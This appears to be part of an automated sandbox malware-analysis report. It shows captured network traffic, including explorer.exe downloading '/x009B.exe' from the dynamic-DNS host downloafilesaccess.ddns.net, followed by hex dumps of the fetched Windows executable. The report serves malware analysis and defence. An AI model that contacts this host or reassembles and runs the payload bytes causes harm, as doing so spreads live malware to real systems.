c5 c2 26 00 3c 2c fb 05 23 2a c7 Data Ascii: U4)3q$%TZw[AU{]7,}=TJ.\SBWpq4Cc>P"!s\|CJ(P \|R.[r/^q}kM]@4Y5ou{#'?J@+;UuwD@T;jE/g8Sc)1I9~&<,#*
2021-12-28 04:19:41 UTC	4364	IN	Data Raw: 93 cf a4 26 21 79 01 aa 3c dc bd 39 73 fb c0 c2 6b 03 f5 ac 47 77 e5 6e 00 c8 ba 20 0e 90 ec c8 9b 00 8d 09 01 3a 46 5c 41 15 07 c5 fa dc 7e 51 00 dd e3 18 8c 0e 44 77 d1 16 00 b1 62 bf a7 3f 07 35 e1 f0 fa d5 02 59 97 c0 ad cd 0c f2 9f 90 99 00 22 b9 ce 80 56 33 7b 8d 70 aa 00 a3 9b ec 7d f1 d5 17 52 50 e2 fb 84 0f b6 6a 7e a6 09 19 00 1f 0b 57 45 a4 03 85 9a 42 7d 73 99 00 7c 24 aa b5 f1 0a 94 4f 0e fc 22 71 d1 00 02 fe 40 57 68 f4 1f 1c 23 74 01 00 f2 0f 19 87 50 70 00 38 56 03 ca ae b7 99 80 07 e8 d0 90 ff 6b 00 2b e7 7c c3 0e b0 ec b1 c0 00 87 36 a8 af 47 00 f9 6a 8c 26 99 d5 76 03 00 43 7c 04 f4 d7 70 46 38 38 2d 63 00 3e 25 e7 1e 47 f3 c8 75 bf 1e d7 d3 8e 00 4a 92 86 c0 3b 9d b8 14 38 75 a1 00 0c 25 b8 31 af 07 57 00 48 17 ce 92 52 ae 1c e9 90 74 Data Ascii: &!y<9skGwn :F\A~QDwb?5Y"V3{p}RPj~WEB}s\|$O"q@Wh#tPp8Vk+\|6Gj&vC\|pF88-c>%GuJ;8u%1WHRt
2021-12-28 04:19:41 UTC	4380	IN	Data Raw: 97 fd ff 86 ed 34 0e 4f cd 1d 59 c0 ec a2 25 c3 5d 26 df e7 56 00 66 0f bb fe 49 fa 00 da 1b 7d 0c 99 60 3a 6d 05 1f 58 30 5f 73 c0 f9 54 11 c6 13 7a 24 02 02 6b dd 0b 5a 40 1b 16 5e 00 94 70 e8 53 58 6e 40 d9 12 48 c2 2f 03 91 f1 89 f8 f7 60 4e 5a b0 2b 02 a7 24 87 77 0b e2 e0 29 41 05 02 c6 61 b9 64 b1 18 e0 4d 3f 0a 07 c3 77 5f fd 92 b0 c5 4c 06 5e 3e f0 ae 80 6a d8 94 fa 51 82 69 3a 4a 33 82 57 d2 fd 5a b5 f5 e0 9d ed 8b 0e 40 9c dc b8 c0 a5 11 ae fe 4a 00 45 64 68 3d 2e 6c e8 80 39 85 44 80 39 28 a1 c5 81 e0 c9 71 86 7e 7c 06 b8 ac 8d a6 37 54 72 a2 07 1c aa cf 57 54 e0 72 76 cc 77 00 a7 95 fd 27 65 cd fe 21 b0 c0 71 5e 00 90 3e dc 17 74 7d 8a 05 0f 3c 88 ad 6b 80 b0 f7 bb bc 5f 1e db cf 62 40 14 57 12 da b2 11 03 ca 02 8b 93 cd d1 9b 15 e0 01 89 fe Data Ascii: 4OY%]&VfI}`:mX0_sTz$kZ@^pSXn@H/`NZ+$w)AadM?w_L^>jQi:J3WZ@JEdh=.l9D9(q~\|7TrWTrvw'e!q^>t}<k_b@W
2021-12-28 04:19:41 UTC	4396	IN	Data Raw: ed f8 81 01 02 c6 18 32 11 80 2d 40 e0 62 4c 08 00 76 8e 44 8a f2 c4 09 3d a0 e2 8c a8 1e 14 64 05 40 19 54 59 29 90 81 1f 79 c0 5b 40 24 8b 93 2d 7c 15 98 be 76 13 7c bd 07 48 86 77 91 a9 e7 de af 20 3c 2c 29 f0 40 0f 58 20 16 a5 40 d2 97 68 86 f7 38 73 0a 80 05 7a 76 19 eb 28 3e 60 5f 30 b3 7c ac a7 1e 52 09 07 40 16 4f 1e 50 21 72 30 97 14 c6 f4 82 6d 1c 7c 60 74 52 0e 00 0c 1e 91 2e 0a 3e 00 eb 50 8c d4 56 80 65 ed 03 5e 3c f5 f1 d6 33 00 98 89 db 2c ac b8 e3 ad 03 4d 92 b1 ea 12 c1 a0 36 ec 7f 00 6a b2 62 eb 58 cd 0a 3a 39 2c 07 cf ac 14 78 7d 24 1d 33 c9 f8 00 5d a0 11 c8 16 87 1e 10 4c 88 c0 79 3b 5e 22 25 2a 2e 8a d1 80 12 07 00 b7 42 17 c8 f0 52 00 55 e5 fd 97 13 9a 0a c2 00 5b 62 5e e4 bc 5a 49 e9 09 84 5f d9 04 00 d9 20 34 38 1d 17 36 44 58 00 Data Ascii: 2-@bLvD=d@TY)y[@$-\|v\|Hw <,)@X @h8szv(>`_0\|R@OP!r0m\|`tR.>PVe^<3,M6jbX:9,x}$3]Ly;^"%*.BRU[b^ZI_ 486DX
2021-12-28 04:19:41 UTC	4412	IN	Data Raw: db 7a 00 d9 ca 4f 88 23 0c 6e a9 03 c9 1e da d2 83 79 a0 3c f7 b4 00 8e 0d 93 12 50 af e3 44 f2 ef 00 d5 e7 3a f3 4a bf 8b 47 00 92 3f 35 89 41 9d 16 e9 01 a4 be c7 dd d0 2a fe f8 4d 93 3e 2f 38 00 fa ec 1c f2 f8 45 2c 02 64 13 af b8 28 ad 60 28 f9 32 30 4a e9 0c bd a6 27 4c 74 15 3b 8c 75 00 96 bf cf 1c 21 71 91 13 18 dd a5 32 d2 92 d7 07 f9 1f d2 59 2e 31 be e2 96 d4 fc 94 00 89 e9 ef 02 32 24 93 c5 00 2a eb 5f cd 20 fa 4f 66 60 cb 0f 49 c6 6b d3 00 de 8a 6e 4b 52 05 6d 40 00 2a aa 68 14 3f f8 87 bb 00 64 f1 4f 27 9e 48 0e b5 0f 29 11 4c 8a c0 99 b3 7a 55 54 00 1a 50 1f 88 49 03 0c b9 73 79 00 8b 04 62 a9 ff d9 87 f0 3a 65 fd 17 84 cb 00 b2 63 d3 cf 98 56 00 e5 4a 1d c8 12 53 5f 29 00 fb 69 87 36 73 d7 fe da ec 56 00 b3 92 ce d4 cd 8f 74 6f 00 bc d0 af Data Ascii: zO#ny<PD:JG?5AM>/8E,d(`(20J'Lt;u!q2Y.12$_ Of`IknKRm@*h?dO'H)LzUTPIsyb:ecVJS_)i6sVto
2021-12-28 04:19:41 UTC	4428	IN	Data Raw: 4a 80 ad 95 9e 35 9c ac 70 01 a3 17 4c 38 f4 c8 1e fc 18 e2 00 2f 02 b2 0c 48 16 83 2d 01 dd 1c d5 db 57 80 40 f3 98 b8 7b 61 00 55 88 01 75 6c 58 2f a7 3b a9 63 83 42 d2 77 8a c2 e0 15 53 97 00 08 d0 73 43 04 fb 6b 03 00 0d f0 f4 4c b4 12 9d 7a 00 bd 5f 67 23 c4 29 13 17 00 9f 65 ba cc 95 1e ad 76 3c 44 eb 00 f8 1d 69 56 6a fd be 58 7f 7c 00 95 c1 0a cb 28 2f f7 00 41 21 7c cd 59 89 a0 de 00 80 3d 5a 30 c8 4d 05 08 24 e8 2b 26 00 1e 43 28 9e 4e a3 00 59 5b d4 c1 96 1f e7 e0 4e 57 f0 be ab 03 9e e4 4f ee 28 68 88 09 b6 6c 00 7f 25 8d d0 4a 86 14 a8 00 61 01 0a 6f 64 b5 e5 7c b0 ab 00 38 df d9 0f 20 81 31 2c 0a d6 f1 41 35 d2 1e 0e 40 a6 89 23 19 45 68 00 78 53 df db 33 1f a8 9e 1e 92 c8 ed c7 5d 97 f7 07 21 c0 c2 2c 6d 34 76 42 60 a1 0c 11 73 12 20 00 63 Data Ascii: J5pL8/H-W@{aUulX/;cBwSsCkLz_g#)ev<DiVjX\|(/A!\|Y=Z0M$+&C(NY[NWO(hl%Jaod\|8 1,A5@#EhxS3]!,m4vB`s c
2021-12-28 04:19:41 UTC	4444	IN	Data Raw: b2 02 90 3f 5d 00 50 3a 4a 88 0f 2e a3 5c 00 0b e0 01 44 78 4e 52 82 03 9a cf c9 5e e8 3f f0 26 23 e1 00 ac 4d d1 5d d9 68 3a 0f 03 6a f0 89 09 e2 50 f8 04 df 78 e6 48 00 16 0e 0a 33 10 4b 25 41 01 5a 58 e1 86 e9 b4 78 ef d3 7f d8 a8 af 28 b8 d1 2c ce 2e 05 00 0b 35 69 a7 b0 cd 0b 67 d2 81 45 80 5b c9 9a d1 d7 00 71 b2 34 e8 08 b6 54 1d 72 22 00 6d 9e 8d 1e 92 9f f5 1f 00 fa 87 65 39 6a 27 e4 41 4c 17 83 01 c9 2a d1 3d 7c 08 d4 59 c0 00 7e a7 4a ba 82 80 d2 d4 05 0c 28 c6 17 23 00 a8 87 c8 ce dc 38 e2 02 00 2a 64 98 b0 e2 72 db 1c 00 43 32 8c 95 ba 80 25 4a 00 85 c8 b2 90 64 1a 34 31 7b e4 00 39 35 55 3a 9f 3b eb 0b 00 2c 36 71 c0 56 cc 37 1c 00 16 38 7d 9d 8f 1d d4 85 00 0c 39 2f c4 5b e0 be 4c 00 f0 56 92 2e 4b 7a c3 60 1e 93 f3 b4 c1 13 3a 49 e4 ab fc Data Ascii: ?]P:J.\DxNR^?&#M]h:jPxH3K%AZXx(,.5igE[q4Tr"me9j'AL=\|Y~J(#8drC2%Jd41{95U:;,6qV78}9/[LV.Kz`:I
2021-12-28 04:19:41 UTC	4460	IN	Data Raw: a2 a5 4b 06 ad 42 1d 08 ba 60 cc da 9b a8 70 90 7d bb 23 94 a6 ac ff bc 94 65 cc 33 d0 ba 2b 8a 16 f4 11 ec c9 3b 4d f9 b8 2a fd b6 8d cf 18 a1 27 04 43 17 5e 51 4f 52 98 a4 e4 1d 7b 84 a9 e8 5e 32 35 34 6c 56 27 df d3 e2 e7 02 e8 27 64 ff 96 bd dc 61 67 b7 8d d0 37 24 6d fc df 93 10 99 83 a3 1a 56 d9 22 ce ac af a6 cb 33 36 8f a9 5b 79 9f cb 4a 19 b6 d0 34 e2 e7 2c 62 3d 8c 6d e5 43 40 65 d6 42 8b 7c 21 47 a3 c2 e6 91 b8 71 7b b3 1c b2 25 7f e9 0d 17 5b 14 ef d8 e0 9b 87 fb f1 f2 64 0d 29 e4 02 4d 55 64 96 4c 49 74 71 e0 a6 24 42 34 17 e5 9a 87 05 41 88 64 90 e8 ce f7 dc 97 86 26 34 6d de 3c 05 46 8e c2 56 f3 ec eb 99 5f 87 ba f3 34 06 9e 36 c6 a0 50 3c 79 22 20 eb 75 73 4c f2 7d 64 66 1e 75 28 e3 a5 ff da bf 13 87 d3 09 dd 2f 43 2b 4d 99 10 7a e5 09 75 Data Ascii: KB`p}#e3+;M*'C^QOR{^254lV''dag7$mV"36[yJ4,b=mC@eB\|!Gq{%[d)MUdLItq$B4Ad&4m<FV_46P<y" usL}dfu(/C+Mzu
2021-12-28 04:19:41 UTC	4476	IN	Data Raw: 0f f9 1e 2c 5a 20 31 56 87 9c 82 64 e2 1e a2 6a fc a5 31 5f 7d b0 a5 1e 24 8a c7 b1 99 c6 9e 3e ad af 62 01 99 53 db 9f 43 9d 4e 46 0a 51 9d f7 32 76 e3 d4 82 02 e1 d6 dc 48 53 40 dc 06 93 67 9e 20 35 f3 7a ac 06 97 e3 43 d2 8a 91 ae d0 07 c3 d1 6c af 73 eb 99 b1 d9 4d 45 52 1c bf 94 14 ec f0 ea be ca f7 db c4 db aa d0 b9 5f c3 91 47 13 2a a7 76 73 87 bd 4f 44 e9 92 9f 5b 55 4f 83 69 fe 99 82 b1 45 c1 32 84 6e c0 02 60 69 b9 62 b2 3b 15 34 16 96 c2 e0 3b 17 4e 6c 7c 4c 1e 0d 0e 6f ef a8 8d 6a f4 7b db 48 cc c9 c0 a9 b6 11 83 0a 7f 20 21 b8 61 fc 6c 65 4b 9b 5d ab 21 be 90 ba 66 7f e1 84 72 3f 0b 61 28 64 9b a5 0a 66 1a ba 8e 8c 4b 9d a1 19 bc 22 a6 9e df 05 b9 e4 df 85 93 aa fd fc 80 e5 16 b9 cb 1f 77 9c 73 ac 8d 02 ac 27 f5 26 9f 84 6c 2e d1 ed de 58 62 Data Ascii: ,Z 1Vdj1_}$>bSCNFQ2vHS@g 5zClsMER_G*vsOD[UOiE2n`ib;4;Nl\|Loj{H !aleK]!fr?a(dfK"ws'&l.Xb
2021-12-28 04:19:41 UTC	4492	IN	Data Raw: 21 f2 a1 74 f2 e3 85 97 75 11 f4 ac 8c 01 20 41 07 65 9f a5 11 0d 85 82 c2 61 0a f5 0d a7 6d f9 62 bd 4f fe a2 18 9f f8 ff b0 ad 18 39 cd a4 8e f4 7a 13 9b c2 d1 f9 8b 8b 8f 73 e9 c2 6f 07 e7 91 4f 01 38 e0 53 6f 93 5e 2b 3c 67 7c 82 c8 24 eb 81 40 e0 04 39 43 f9 27 ef d5 43 c6 5c 59 e8 f9 bb 92 2f 5f 42 c5 96 4e 58 d9 69 c8 43 b6 0b 87 68 83 7f 50 f8 c4 ba 83 c3 d8 6c c3 57 9a 2c 0c da 0f 28 72 02 dd 99 28 e1 8b 1f 50 a8 b3 d9 9f e4 9a 69 c4 b5 cd 69 39 e2 76 4e 76 23 c6 70 98 48 c2 e5 02 bf b8 a7 3d 90 45 f7 12 aa 7d e7 fe 2b 04 92 60 f9 3c c7 df 36 16 6c 65 87 ae 2f f3 00 2b 65 96 a4 58 eb 3b 49 fc 35 43 11 07 fd 38 0c de 36 49 80 f8 d9 e7 52 d7 fa 53 d7 f3 93 3d 51 56 3d d8 4e 71 7e 9f bf 1f 5d c6 4d d6 f2 e9 6e c4 e5 c6 00 88 74 f7 5c c9 f2 32 23 2b Data Ascii: !tu AeambO9zsoO8So^+<g\|$@9C'C\Y/_BNXiChPlW,(r(Pii9vNv#pH=E}+`<6le/+eX;I5C86IRS=QV=Nq~]Mnt\2#+
2021-12-28 04:19:41 UTC	4508	IN	Data Raw: b5 8f 48 5c 85 a4 e8 2b 50 5a 83 a8 fe 96 8d cc 67 c8 1a fc 10 ee 70 fa 47 ad 99 63 5d cb fb be 11 9b 16 98 44 b5 c4 df 9b 16 f8 bb f5 79 0a 4b 7c 8b 21 e2 4e b6 ae c4 63 11 41 29 30 d8 a3 f3 9a 7e 36 a2 f5 ae 6f 74 d6 3c 97 2c 2c 4a 3a 63 52 3f 33 4b 45 6a b4 88 d4 22 e2 be 38 8a d1 d5 b4 e8 6a 44 4b 8a 89 d5 58 43 ef 76 aa 62 c8 1f 39 c5 c2 33 a0 c7 e3 0f ec 72 c9 ef e9 66 66 3c c2 60 55 4f 95 fb 87 01 cc 0c fe ff f7 60 3a 9e e5 d2 02 16 48 a0 9d 16 9b c0 21 ba 79 4e 65 ee 88 63 ef 7d 8f b7 eb 93 2f 19 ce b6 09 e7 17 4d 50 76 29 ed d9 b1 d7 4d 3f 3d fc f2 6d 4d 62 16 5c bc 9d 50 f8 16 f8 24 47 d8 57 3b 95 08 ec c5 85 97 7d de a5 59 5b 99 37 37 3c bf 10 23 3a bb 31 9c a4 3c 2e 1f 60 f8 c7 41 c1 d4 a6 bd 6f c5 22 56 a9 37 17 0d 95 4f e5 04 5e 5f 72 da 0c Data Ascii: H\+PZgpGc]DyK\|!NcA)0~6ot<,,J:cR?3KEj"8jDKXCvb93rff<`UO`:H!yNec}/MPv)M?=mMb\P$GW;}Y[77<#:1<.`Ao"V7O^_r
2021-12-28 04:19:41 UTC	4524	IN	Data Raw: 47 1d c6 ae 7e 08 6e 86 e9 2a 45 4e 70 ae da a2 55 59 af 9c 39 d8 b0 20 26 f1 ef b2 4e a7 5a 6f ac cd 6b ab 48 59 4a c0 b9 7d c2 39 92 f7 d2 4c de 00 c9 3c 99 4a 5d e9 b9 34 14 e6 63 1f 9b bd a5 49 67 18 d8 3a 8d 06 f9 77 96 8d b8 03 56 a1 fc 17 51 29 71 6f 1d 91 2c bf af d4 a1 4c 10 a7 cc 1e 62 49 e1 e8 00 f2 9f 7c f9 79 89 d4 99 85 09 6a 7d 19 0b ad 71 47 e5 e6 7e b7 ff be b4 3d 7c 51 49 6a 6c d7 7f b4 c9 23 86 f0 0f 58 03 1c 79 97 b3 20 27 66 8b eb ae 89 39 08 8e 96 a6 c7 05 1e b4 6d be 3a 19 b1 eb c7 de 9b b5 92 04 98 99 fa 6d ac 71 4c 33 44 39 ef f8 9b fb f2 2f 55 61 5e cd 09 94 43 30 dc 5a 7f ae 4f 70 5e 24 5c 0d 6b 4d af 41 80 87 4f 08 bf e1 d0 d2 63 68 25 67 a1 b4 11 01 7a 79 4d 9c 87 81 98 8b 29 f3 1f c7 89 f3 6d d2 1e 05 de f1 6b f7 5d bc 96 30 Data Ascii: G~n*ENpUY9 &NZokHYJ}9L<J]4cIg:wVQ)qo,LbI\|yj}qG~=\|QIjl#Xy 'f9m:mqL3D9/Ua^C0ZOp^$\kMAOch%gzyM)mk]0
2021-12-28 04:19:41 UTC	4540	IN	Data Raw: 83 b7 4d bc 29 59 90 78 aa df 97 9c 95 c5 f4 70 06 72 3b e5 4e 7a 26 ac 26 22 da 3c bb 5c bb 4f a9 0d 67 d4 13 e8 26 75 5a 24 1a ac 3e 7f 2e a6 4e 0d 0e c9 44 24 44 fc c8 fe a0 26 1b 2f c3 47 59 e4 b5 1d 2e aa b8 45 53 4e c7 28 10 b1 c9 a5 af a7 a4 db 49 91 ab 98 e4 87 35 96 f8 b8 22 67 9d 9e fc 9c fb eb c7 f9 4a f8 91 4c bf d5 f2 98 fc 0c 08 ce fb 8c b4 9c 6e e2 0b a4 4f 43 67 26 37 78 fd fb 1e 67 3d 95 f2 ff ab 1c f8 68 3b be 07 16 6f 9c 0c 85 2f c4 98 f7 7e 9d ef 33 d5 ac 60 9d f4 5c 05 fa 19 5e a7 c9 f6 ac 93 a8 e6 dc f4 95 6d 5b 6c a5 a1 e4 9f 78 13 0a e5 34 9b 19 f3 d6 90 b9 08 e4 71 7f c4 c1 85 09 b7 4f 6d 94 7b 85 94 38 8a f9 e3 c6 93 90 04 76 b4 ae 24 41 2c 7c 9f 20 7b 84 11 b5 e8 ea af a4 a5 64 c3 1d 33 bd e8 b8 ec a3 33 e4 c7 01 a7 2b 72 0e 2b Data Ascii: M)Yxpr;Nz&&"<\Og&uZ$>.ND$D&/GY.ESN(I5"gJLnOCg&7xg=h;o/~3`\^m[lx4qOm{8v$A,\| {d33+r+
2021-12-28 04:19:41 UTC	4556	IN	Data Raw: 76 0b 2a 94 95 1e f4 cb 48 3c f9 cd c1 5a 87 8c 4a 71 42 65 af 8d c2 98 4e ee 57 23 e8 ad c2 04 e8 9b db 7e 59 9a b6 21 e4 45 45 8e 3a 15 f4 57 fb 87 63 97 d5 e7 6f 83 d6 32 35 ea eb a0 6c 18 ef 74 96 5a ff 25 98 aa 92 94 3f 25 fb 52 a1 38 c0 ce fa 8c 0c 21 28 b1 dd ac 45 1e 38 91 dd 3b 66 bc 7d 69 a0 5e 21 a2 5d f1 c0 97 70 3a 71 98 8d ca 85 7b e4 24 59 56 17 85 73 9e a9 bd 03 5b 41 87 de 1b d5 34 3e c2 51 4c 43 bb 83 4f 8a fd b4 79 06 37 c2 03 76 6b fd ae 2c 19 cc 07 b0 7c 3f c6 b7 f2 ba 50 fb ac 4a eb e3 bb 9d 6f 57 e8 42 4d 44 84 2a 63 ac 1e 25 ce 93 cd 5e 10 e6 d3 f8 5b e6 82 a1 a1 e6 ee 80 54 6c 52 7f 48 90 83 d4 5c d7 f2 8d 95 b9 7e ec 69 55 34 6b 72 9e 92 33 b0 32 67 88 4a 05 4f 85 a0 65 00 84 27 58 8b ab 68 63 d9 2a 78 9d a7 c5 13 0b f2 6f dc 1d Data Ascii: vH<ZJqBeNW#~Y!EE:Wco25ltZ%?%R8!(E8;f}i^!]p:q{$YVs[A4>QLCOy7vk,\|?PJoWBMDc%^[TlRH\~iU4kr32gJOe'Xhc*xo
2021-12-28 04:19:41 UTC	4572	IN	Data Raw: 0c 1b 70 49 ff de 9f fb c0 35 45 58 cd 92 f6 00 0a 77 2c 92 d9 f2 43 b2 ef e3 2a 00 e4 f4 1b c7 1f 9e ed d2 ad 93 59 dd 10 23 f8 7a 60 9b 41 7f da c0 78 c1 74 6c 43 13 3c 73 b9 a0 75 1e 31 25 bf a6 d6 cd 49 89 94 14 b7 2e 39 2f 5a 24 34 dc a0 b9 79 cd 0c 45 16 f1 72 c2 9e b7 16 bc c0 58 5b 88 d5 c8 44 47 a4 cb 2b c4 9b a5 e9 0c 0d 7f ec 90 df ef d1 7b f5 c3 b5 89 c8 6a db 5f 04 c3 3c a7 70 a2 f9 61 03 0e c1 be 16 4f c5 e1 b4 e1 b3 03 c5 71 84 28 31 c8 17 1b c1 d3 9e a2 76 82 c7 bd 87 44 b4 4f cd 28 c8 00 17 af d3 47 ac 43 e0 e3 aa d2 53 7f 11 76 9a c1 8d d2 2f db 7d af 1c 99 90 01 8c 12 cf f1 fe 50 9c 88 06 59 dd c7 f1 b8 c3 c6 61 d2 24 43 ad bd 62 13 22 61 82 d1 dd b3 5c 6b 01 6a 10 98 91 a7 45 7c 40 36 08 1e c4 1b 12 cc 3d 46 39 b8 49 02 48 69 e2 5b c4 Data Ascii: pI5EXw,C*Y#z`AxtlC<su1%I.9/Z$4yErX[DG+{j_<paOq(1vDO(GCSv/}PYa$Cb"a\kjE\|@6=F9IHi[
2021-12-28 04:19:41 UTC	4588	IN	Data Raw: 27 f4 b5 72 fa 2e 31 1b a6 41 b6 3b 2f 4a 94 6c 3f 08 7b 60 08 3a be a1 d7 cd 4a 6a cf 78 49 88 36 4b ab ff 49 70 ab e6 a4 e5 7d 6c 13 b0 5c 1f a8 bc 7d 52 44 6b 62 80 55 ad a2 24 db 0e d3 ce 37 3d 39 0b 60 7c 0d e8 70 89 7e 93 38 5e 8c ad 4e 24 7d 79 88 ca f6 2f 28 35 53 2d 94 b6 f3 8a 42 27 ed 33 eb 7c 31 40 79 6f 4c 47 51 2b 43 bd ce 9c de 79 db 8b 0a f9 cb 09 c2 44 d3 12 82 d3 25 79 cb 95 6f 9b 2a eb 8e c9 66 af 0d 4b 1e 2d f9 e9 f0 d7 c5 ca 6f 09 5e e0 2b 00 d4 c3 f3 df 00 c6 44 2c 10 3c 0f c2 9c 09 3a 08 8f 19 02 d6 9f f7 b4 e9 72 4c dd cf 91 65 d6 66 9d d0 0d 0b a7 2e d8 fb aa 8f 8a c8 56 50 04 dd 27 22 6a eb 17 9d cf ee 5d 2d 91 b5 41 37 7a 5b 4f c7 0b b7 86 6f 9f ba e8 d9 5c 99 9e c4 5b 88 ce b8 1d 8c 98 a6 52 74 60 cf 01 df 36 10 a3 46 64 3d f5 Data Ascii: 'r.1A;/Jl?{`:JjxI6KIp}l\}RDkbU$7=9`\|p~8^N$}y/(5S-B'3\|1@yoLGQ+CyD%yo*fK-o^+D,<:rLef.VP'"j]-A7z[Oo\[Rt`6Fd=

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
3	192.168.2.3	49865	155.248.231.246	443	C:\Windows\explorer.exe

Timestamp	kBytes transferred	Direction	Data
2021-12-28 04:19:48 UTC	4593	OUT	GET /x009B.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: downloafilesaccess.ddns.net
2021-12-28 04:19:48 UTC	4594	IN	HTTP/1.1 200 OK Date: Tue, 28 Dec 2021 04:19:48 GMT Server: Apache Last-Modified: Sun, 26 Dec 2021 18:01:39 GMT Accept-Ranges: bytes Content-Length: 115712 Connection: close Content-Type: application/x-msdownload
2021-12-28 04:19:48 UTC	4594	IN	Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 03 00 67 6e 09 e3 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 30 00 00 90 01 00 00 30 00 00 00 00 00 00 ba 91 01 00 00 20 00 00 00 c0 01 00 00 00 40 00 00 20 00 00 00 04 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 20 02 00 00 04 00 00 00 00 00 00 02 00 40 85 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$PELgn00 @ @
2021-12-28 04:19:48 UTC	4602	IN	Data Raw: 07 16 02 8e 69 1f 0f 59 28 72 00 00 0a 1f 10 8d 67 00 00 01 0c 07 8e 69 08 8e 69 59 8d 67 00 00 01 0d 07 07 8e 69 1f 10 59 08 16 1f 10 28 72 00 00 0a 07 16 09 16 07 8e 69 08 8e 69 59 28 72 00 00 0a 73 13 00 00 06 03 06 14 09 08 6f 20 00 00 06 13 04 de 05 26 de 00 14 2a 11 04 2a 00 00 01 10 00 00 00 00 1e 00 64 82 00 03 0f 00 00 01 1b 30 0b 00 c6 00 00 00 12 00 00 11 02 72 89 08 00 70 72 91 08 00 70 72 cb 08 00 70 28 22 00 00 06 0a 02 06 03 12 01 28 23 00 00 06 0c 12 04 04 05 0e 05 28 1a 01 00 06 11 04 13 05 02 06 28 21 00 00 06 8d 67 00 00 01 13 06 16 13 07 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 14 16 12 07 16 28 18 00 00 06 2c 06 73 74 00 00 0a 7a 11 07 8d 67 00 00 01 0d 02 07 0e 04 0e 04 8e 69 12 04 11 06 11 06 8e 69 09 09 8e 69 12 07 16 28 18 Data Ascii: iY(rgiiYgiY(riiY(rso &**d0rprprp("(#((!gii(,stzgiii(
2021-12-28 04:19:48 UTC	4609	IN	Data Raw: 67 01 00 06 2a 00 00 13 30 05 00 55 00 00 00 00 00 00 00 03 6f 45 01 00 06 2c 4c 04 28 bc 01 00 06 28 11 00 00 06 6f 6b 01 00 06 04 28 bc 01 00 06 17 8d 38 00 00 02 25 16 73 a5 00 00 06 a2 28 8c 00 00 06 6f 6d 01 00 06 04 28 bc 01 00 06 17 8d 38 00 00 02 25 16 73 a8 00 00 06 a2 28 8c 00 00 06 6f 6f 01 00 06 2a 1a 7e 08 00 00 04 2a 1e 02 80 08 00 00 04 2a 1a 7e 09 00 00 04 2a 1e 02 80 09 00 00 04 2a 1e 02 28 65 00 00 0a 2a 72 02 17 2e 06 02 18 2e 08 2b 0c 73 4c 00 00 06 2a 73 66 00 00 06 2a 73 4c 00 00 06 2a 1b 30 06 00 16 01 00 00 26 00 00 11 73 a6 00 00 0a 0a 02 6f c9 00 00 0a 0b 38 e6 00 00 00 07 6f ca 00 00 0a 0c 08 6f 36 01 00 06 6f cb 00 00 0a 0d 38 b7 00 00 00 09 6f cc 00 00 0a 13 04 08 6f 34 01 00 06 72 2f 03 00 70 11 04 6f 26 01 00 06 28 62 00 00 Data Ascii: g0UoE,L((ok(8%s(om(8%s(oo~~(er..+sLsfsL0&so8oo6o8oo4r/po&(b
2021-12-28 04:19:48 UTC	4617	IN	Data Raw: 99 00 00 04 02 7b 12 00 00 04 06 8f 45 00 00 02 7b 99 00 00 04 72 01 0e 00 70 1a 6f f0 00 00 0a 17 58 6f f1 00 00 0a 17 8d 59 00 00 01 25 16 1f 2c 9d 6f 9c 00 00 0a 0b 16 13 04 2b 6e 07 11 04 07 11 04 9a 16 8d 59 00 00 01 6f f2 00 00 0a a2 07 11 04 9a 1f 20 6f f3 00 00 0a 13 05 11 05 16 31 10 07 11 04 07 11 04 9a 16 11 05 6f f4 00 00 0a a2 07 11 04 9a 72 05 0e 00 70 1a 6f f0 00 00 0a 2c 22 02 02 7b 11 00 00 04 11 04 17 58 28 1c 00 00 2b 7d 11 00 00 04 02 7b 11 00 00 04 11 04 07 11 04 9a a2 11 04 17 58 13 04 11 04 07 8e 69 17 59 31 89 02 02 7b 12 00 00 04 06 8f 45 00 00 02 7b 98 00 00 04 17 6a 59 02 7b 10 00 00 04 5a 28 ae 00 00 06 0d de 05 26 16 0d de 00 09 2a 41 1c 00 00 00 00 00 00 00 00 00 00 2d 01 00 00 2d 01 00 00 05 00 00 00 0a 00 00 01 1b 30 07 00 Data Ascii: {E{rpoXoY%,o+nYo o1orpo,"{X(+}{XiY1{E{jY{Z(&*A--0
2021-12-28 04:19:48 UTC	4625	IN	Data Raw: 01 00 0a 6f 7e 01 00 0a 8c 72 00 00 01 72 7d 15 00 70 28 7f 01 00 0a 73 6e 01 00 0a 0b 07 6f 6f 01 00 0a 0c 08 6f 70 01 00 0a 0d 2b 61 09 6f 71 01 00 0a 74 4c 00 00 01 13 04 11 04 1a 8d 59 00 00 01 25 d0 bc 00 00 04 28 3a 00 00 0a 73 3b 00 00 0a 6f 72 01 00 0a 25 2d 04 26 14 2b 05 6f 88 00 00 0a 02 28 60 00 00 0a 2c 1e 06 11 04 72 58 16 00 70 6f 72 01 00 0a 25 2d 04 26 14 2b 05 6f 88 00 00 0a 6f cf 00 00 0a de 03 26 de 00 09 6f 74 01 00 0a 2d 97 de 0a 09 2c 06 09 6f 0b 00 00 0a dc de 0a 08 2c 06 08 6f 0b 00 00 0a dc de 0a 07 2c 06 07 6f 0b 00 00 0a dc de 03 26 de 00 06 2a 00 00 01 40 00 00 00 00 5f 00 51 b0 00 03 0a 00 00 01 02 00 50 00 6d bd 00 0a 00 00 00 00 02 00 49 00 80 c9 00 0a 00 00 00 00 02 00 42 00 93 d5 00 0a 00 00 00 00 00 00 06 00 db e1 00 03 Data Ascii: 